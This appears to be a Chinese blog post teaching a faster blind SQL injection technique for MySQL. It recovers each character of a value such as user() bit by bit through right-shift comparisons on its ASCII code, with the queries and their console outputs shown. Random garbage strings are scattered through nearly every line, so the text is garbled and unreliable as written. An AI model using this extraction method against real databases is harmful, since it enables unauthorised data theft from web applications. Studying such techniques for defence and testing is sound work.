关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:
4 F' B8 ]0 B0 [% [: r9 c- T


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



1 N8 _$ d( g( C9 f! |" I! ~首先执行如下sql语句:
' ^5 N. N9 m7 C- p0 |6 R+ {+ ^


* I$ n! d: C" P, [- j" x9 lmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
. z0 t" F! E8 k% o
. `" H9 P! J2 L* G1 Y7 z* J

# q6 H8 t* }- x' L: t$ Z我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
8 \; Q) j- k8 {1 [9 e4 t) y
8 h1 R8 B) M6 ~

. n; L' A5 {' g; K第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



! s7 L1 z+ K# x! A  B5 A( I如果运算结果为1,说明第一位为0,不为1
7 `% y) T, N! r: ^4 o6 s! r
& g# T. L" {. ?, T1 n/ D! p! ?

+————————————–+

0 i  U! P$ Z4 D# {| (ascii((substr(user(),1,1))) >> 7)=0 |
6 o4 Y' N) k/ p5 }* A0 d
1 Y, Z4 g# ~  \4 T6 {1 G! f+————————————–+

1 O6 k! E. D* }, m| 1 |

/ `! ?& e% f, Q4 X+ K+————————————–+
& w  c! x# ^3 `2 l% y
1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0

3 N% l! B/ r7 |  T) B
$ ]' Y( d; a' }3 e& p; }
第二次我们来做6次右偏移来确定前两位
' g( b9 R6 d' r/ }


+ ]3 W, a2 r1 m; j* M+ g, J前两位可能是01或00,即依然可以与0做比较,
- o% Q1 C) n: y# |5 h/ T
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
( r+ g$ B# M: T: ?
| (ascii((substr(user(),1,1))) >> 6)=0 |

, G9 }$ S& \9 F6 R+————————————–+

| 0 |
1 u* ^2 h2 `; n
+————————————–+
; a/ }# @9 V+ V- I7 [( A* ^) K  E
7 n$ R9 ?/ b2 N0 g6 _& [1 row in set (0.00 sec)



结果为0,即第二位为1
+ s+ Z9 X& M7 c
$ a9 n9 E* c4 D7 j' e; P- h
1 ~* t% q& h3 K( W2 {; t  Y3 X
开始猜测前三位为010或011
3 ~+ r$ J- m7 c4 T) H4 j


, h3 P: `6 P' u" U/ z- o9 u让我们看看010和011的ascii码是多少
0 C, I2 S" O* ]9 U1 u1 \. T0 F* Y

! o0 `) ]$ ~. ^0 k! N; D, W4 K( }6 ?6 I
分别查询select b’011′ select b’010′
  k  w' w: m( n2 _
' _9 d* U$ R, O3 k/ s8 s. I0 Q
+ d; I4 c$ L1 C" M
获得结果 010 = 2 011 = 3
. M4 b- i! b) l8 E  R$ V


4 [/ Y8 A6 g  L" H执行如下sql:



6 n8 J( J$ ?) {# L0 ymysql> select (ascii((substr(user(),1,1))) >> 5)=2;
, ^* B2 B2 v9 ?9 S* O& N
+————————————–+
  B/ k& U! W4 B3 f# X# H
| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

; F% |* {7 k, h/ G) w. Z8 c4 b( b| 0 |
* I1 B) m# N! n8 o# m8 O
" W' U+ i6 K3 s0 m) A2 \+————————————–+

$ @3 u; Q9 q* A即前三位不为010,而是011

4 N/ |' V5 u- l( P4 z" V3 a2 K- I
0 _* \. F, ?( L2 N( b# a; P
4 e7 o6 d) H! D* [4 Q直到获得最后一位
* \; q1 ^6 O$ }) y2 a/ c9 r


* V3 U; y% {0 [; O! M最终结果为:01110010

4 M# p9 g/ ?3 ^( M% L5 s

转换一下:

2 l5 N8 s7 z0 H2 R( @9 U6 g" w
  L3 S# Q& I: I# A8 {/ C4 S7 d
select b’01110010′
6 C7 a# Q) P" _5 \% R
3 C4 j7 o; L' w. |3 G$ X( x  B

查询结果

9 Z( w& v/ j* I* G' S% v
& ]2 E0 t" u" ^0 d7 w5 l
7 O4 h7 \1 m( c6 s; z8 c+————-+

| b’01110010′ |
0 \8 P( q5 t$ w
+————-+

| r |

+————-+
( G# ]1 G% @( V( R, a
1 row in set (0.00 sec)
' `& m% m/ b" l) J) L, Q: J5 H

- w6 D3 C/ }, D. q: A3 K
这样我们就获得了user()的第一位.其它位依此类推